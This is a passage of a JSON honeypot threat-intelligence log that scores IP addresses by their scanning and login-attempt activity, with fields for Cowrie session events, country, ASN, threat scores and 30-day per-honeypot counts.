      "reputation_metrics": {
        "total_events_30d": 190,
        "days_active_30d": 30,
        "ports_targeted_30d": 52,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-04-01T08:20:52+00:00",
        "last_seen_30d": "2026-04-30T22:34:18.719000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 113,
        "Honeytrap": 55,
        "Ciscoasa": 6,
        "Cowrie": 6,
        "ElasticPot": 4,
        "Honeyaml": 4,
        "Dicompot": 1,
        "Mailoney": 1
      }
    },
    "66.132.172.36": {
      "attack_count": 6,
      "first_seen": "2026-04-21T08:33:21.291Z",
      "last_seen": "2026-04-21T08:33:56.244Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 90.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 102,
        "days_active_30d": 30,
        "ports_targeted_30d": 40,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T09:27:59+00:00",
        "last_seen_30d": "2026-04-30T02:45:34.698000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 50,
        "Honeytrap": 39,
        "Cowrie": 6,
        "Redishoneypot": 6,
        "Dionaea": 1
      }
    },
    "96.127.172.215": {
      "attack_count": 6,
      "first_seen": "2026-04-28T20:19:46.173Z",
      "last_seen": "2026-04-28T20:19:52.221Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 32475,
      "as_org": "Internap Holding LLC",
      "threat_score": 19.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T20:19:46.173000+00:00",
        "last_seen_30d": "2026-04-28T20:20:53.235000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "64.62.156.132": {
      "attack_count": 5,
      "first_seen": "2026-04-06T15:20:47.725Z",
      "last_seen": "2026-04-11T08:51:47.341Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 86.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.2,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 263,
        "days_active_30d": 28,
        "ports_targeted_30d": 66,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-04-01T11:47:41.362000+00:00",
        "last_seen_30d": "2026-04-28T12:53:45.993000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 170,
        "Honeytrap": 71,
        "Ciscoasa": 12,
        "Cowrie": 5,
        "ConPot": 2,
        "Dionaea": 2,
        "Honeyaml": 1
      }
    },
    "65.49.1.38": {
      "attack_count": 5,
      "first_seen": "2026-04-01T08:47:53.853Z",
      "last_seen": "2026-04-09T13:26:57.552Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 284,
        "days_active_30d": 30,
        "ports_targeted_30d": 82,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-04-01T01:18:25.349000+00:00",
        "last_seen_30d": "2026-04-30T15:11:27.726000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 179,
        "Honeytrap": 81,
        "Miniprint": 9,
        "Cowrie": 5,
        "Adbhoney": 2,
        "CitrixHoneypot": 2,
        "ConPot": 2,
        "Tanner": 2,
        "Dionaea": 1,
        "ElasticPot": 1
      }
    },
    "100.55.74.138": {
      "attack_count": 4,
      "first_seen": "2026-04-03T00:56:28.688Z",
      "last_seen": "2026-04-03T00:56:34.799Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 29.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.3,
        "persistence": 13.3,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 16,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-03T00:56:28.688000+00:00",
        "last_seen_30d": "2026-04-18T01:02:38.181000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 4,
        "Honeytrap": 4
      }
    },
    "103.40.13.4": {
      "attack_count": 4,
      "first_seen": "2026-04-21T14:20:44.254Z",
      "last_seen": "2026-04-26T15:23:39.813Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 63567,
      "as_org": "Suqian Pugongying Network Service Co.,Ltd",
      "threat_score": 22.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T14:20:44.254000+00:00",
        "last_seen_30d": "2026-04-26T15:24:45.367000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "104.152.52.230": {
      "attack_count": 4,
      "first_seen": "2026-04-08T15:26:15.488Z",
      "last_seen": "2026-04-08T15:26:15.927Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14987,
      "as_org": "Rethem Hosting LLC",
      "threat_score": 18.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.4,
        "persistence": 5.8,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 7,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-08T06:56:40.939000+00:00",
        "last_seen_30d": "2026-04-14T08:18:36.508000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 15,
        "Cowrie": 4,
        "Dionaea": 3
      }
    },
    "134.199.145.53": {
      "attack_count": 4,
      "first_seen": "2026-04-27T08:03:05.789Z",
      "last_seen": "2026-04-27T08:03:06.106Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 64.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 359,
        "days_active_30d": 1,
        "ports_targeted_30d": 32,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-04-27T08:03:05+00:00",
        "last_seen_30d": "2026-04-27T08:13:49.530000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 219,
        "Honeytrap": 119,
        "Dionaea": 7,
        "Redishoneypot": 6,
        "Cowrie": 4,
        "Honeyaml": 3,
        "Ipphoney": 1
      }
    },
    "198.235.24.224": {
      "attack_count": 4,
      "first_seen": "2026-04-24T10:39:55.666Z",
      "last_seen": "2026-04-24T10:39:59.390Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 77.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.3,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 134,
        "days_active_30d": 28,
        "ports_targeted_30d": 38,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-02T20:10:13+00:00",
        "last_seen_30d": "2026-04-29T20:50:50.697000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 92,
        "Honeytrap": 38,
        "Cowrie": 4
      }
    },
    "205.210.31.66": {
      "attack_count": 4,
      "first_seen": "2026-04-06T10:11:51.807Z",
      "last_seen": "2026-04-06T10:11:55.361Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 89.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.8,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 96,
        "days_active_30d": 29,
        "ports_targeted_30d": 28,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T04:24:19+00:00",
        "last_seen_30d": "2026-04-29T23:54:57.440000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 65,
        "Honeytrap": 23,
        "Cowrie": 4,
        "Redishoneypot": 3,
        "Sentrypeer": 1
      }
    },
    "209.38.201.239": {
      "attack_count": 4,
      "first_seen": "2026-04-22T01:32:56.696Z",
      "last_seen": "2026-04-22T01:32:56.985Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "GET /cgi-bin/authLogin.cgi HTTP/1.1",
        "User-Agent: Go-http-client/1.1"
      ],
      "passwords_attempted": [
        "Connection: close",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 46.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.6,
        "persistence": 4.2,
        "diversity": 18,
        "spread": 25,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 5,
        "ports_targeted_30d": 9,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-18T06:11:23+00:00",
        "last_seen_30d": "2026-04-22T01:34:05.046000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 28,
        "Honeytrap": 12,
        "Cowrie": 4,
        "Ipphoney": 1,
        "Tanner": 1
      }
    },
    "107.155.48.46": {
      "attack_count": 3,
      "first_seen": "2026-04-29T10:21:27.991Z",
      "last_seen": "2026-04-29T10:23:27.993Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 38.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.8,
        "persistence": 7.5,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 9,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-21T08:15:42+00:00",
        "last_seen_30d": "2026-04-29T10:33:35.597000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 10,
        "Cowrie": 3,
        "Honeytrap": 2
      }
    },
    "216.57.110.81": {
      "attack_count": 3,
      "first_seen": "2026-04-03T03:04:32.426Z",
      "last_seen": "2026-04-03T03:05:33.359Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 210976,
      "as_org": "Timeweb, LLP",
      "threat_score": 22.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.0,
        "persistence": 9.2,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 201,
        "days_active_30d": 11,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-03T02:51:39.591000+00:00",
        "last_seen_30d": "2026-04-13T15:26:01.951000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 106,
        "Tanner": 92,
        "Cowrie": 3
      }
    },
    "23.94.92.53": {
      "attack_count": 3,
      "first_seen": "2026-04-19T02:50:56.169Z",
      "last_seen": "2026-04-19T02:51:59.775Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Marietta",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 12.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T02:50:56.169000+00:00",
        "last_seen_30d": "2026-04-19T02:53:02.016000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "85.215.201.250": {
      "attack_count": 3,
      "first_seen": "2026-04-30T13:54:58.079Z",
      "last_seen": "2026-04-30T13:55:59.602Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 31.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-27T17:05:58+00:00",
        "last_seen_30d": "2026-04-30T13:57:04.434000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 3,
        "Honeytrap": 1
      }
    },
    "1.34.138.22": {
      "attack_count": 2,
      "first_seen": "2026-04-10T19:28:04.490Z",
      "last_seen": "2026-04-10T19:28:18.823Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T19:28:04.490000+00:00",
        "last_seen_30d": "2026-04-10T19:29:20.497000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "103.144.170.16": {
      "attack_count": 2,
      "first_seen": "2026-04-30T19:13:03.851Z",
      "last_seen": "2026-04-30T19:13:16.091Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 9341,
      "as_org": "PT INDONESIA COMNETS PLUS",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T19:13:03.851000+00:00",
        "last_seen_30d": "2026-04-30T19:14:18.774000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "104.248.254.23": {
      "attack_count": 2,
      "first_seen": "2026-04-15T12:43:39.288Z",
      "last_seen": "2026-04-15T12:43:39.289Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 27.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.7,
        "persistence": 5.8,
        "diversity": 16,
        "spread": 15,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 74,
        "days_active_30d": 7,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-09T22:35:12.897000+00:00",
        "last_seen_30d": "2026-04-15T17:54:48.535000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 52,
        "Honeytrap": 20,
        "Cowrie": 2
      }
    },
    "114.202.53.109": {
      "attack_count": 2,
      "first_seen": "2026-04-22T10:08:47.843Z",
      "last_seen": "2026-04-22T10:09:00.877Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Dalseong-gun",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T10:08:47.843000+00:00",
        "last_seen_30d": "2026-04-22T10:10:01.848000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "122.117.251.230": {
      "attack_count": 2,
      "first_seen": "2026-04-10T00:13:29.580Z",
      "last_seen": "2026-04-10T00:14:00.536Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Neipu",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T00:13:29.580000+00:00",
        "last_seen_30d": "2026-04-10T00:15:05.517000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "151.30.183.239": {
      "attack_count": 2,
      "first_seen": "2026-04-06T01:21:01.397Z",
      "last_seen": "2026-04-06T01:21:17.446Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Milan",
      "asn": 1267,
      "as_org": "Wind Tre S.p.A.",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T01:21:01.397000+00:00",
        "last_seen_30d": "2026-04-06T01:22:18.469000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "172.105.102.221": {
      "attack_count": 2,
      "first_seen": "2026-04-30T21:21:45.853Z",
      "last_seen": "2026-04-30T21:21:46.040Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 31.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-30T21:21:45+00:00",
        "last_seen_30d": "2026-04-30T21:22:55.773000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 2,
        "Honeytrap": 2
      }
    },
    "178.124.179.158": {
      "attack_count": 2,
      "first_seen": "2026-04-28T19:03:20.675Z",
      "last_seen": "2026-04-28T19:03:34.505Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Belarus",
      "country_code": "BY",
      "city": "Minsk",
      "asn": 6697,
      "as_org": "Republican Unitary Telecommunication Enterprise Beltelecom",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T19:03:20.675000+00:00",
        "last_seen_30d": "2026-04-28T19:04:43.550000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "184.105.139.70": {
      "attack_count": 2,
      "first_seen": "2026-04-23T13:31:55.423Z",
      "last_seen": "2026-04-23T13:31:57.569Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 96.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 26.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 420,
        "days_active_30d": 30,
        "ports_targeted_30d": 74,
        "honeypots_triggered_30d": 11,
        "first_seen_30d": "2026-04-01T03:20:15+00:00",
        "last_seen_30d": "2026-04-30T12:46:28.252000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 259,
        "Honeytrap": 114,
        "Redishoneypot": 22,
        "H0neytr4p": 12,
        "Dionaea": 3,
        "Adbhoney": 2,
        "ConPot": 2,
        "Cowrie": 2,
        "Honeyaml": 2,
        "Ipphoney": 1,
        "Miniprint": 1
      }
    },
    "185.94.132.121": {
      "attack_count": 2,
      "first_seen": "2026-04-07T02:01:13.331Z",
      "last_seen": "2026-04-07T02:01:27.860Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Partinico",
      "asn": 210129,
      "as_org": "Atomo Networks Srl",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T02:01:13.331000+00:00",
        "last_seen_30d": "2026-04-07T02:02:35.867000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "191.6.0.43": {
      "attack_count": 2,
      "first_seen": "2026-04-24T01:47:52.948Z",
      "last_seen": "2026-04-24T01:48:09.264Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Afonso Cl\u00e1udio",
      "asn": 263545,
      "as_org": "BETINI NET TELECOM LTDA",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T01:47:52.948000+00:00",
        "last_seen_30d": "2026-04-24T01:49:19.615000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "193.176.31.154": {
      "attack_count": 2,
      "first_seen": "2026-04-12T00:31:03.246Z",
      "last_seen": "2026-04-12T00:31:03.559Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 25369,
      "as_org": "Hydra Communications Ltd",
      "threat_score": 24.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.0,
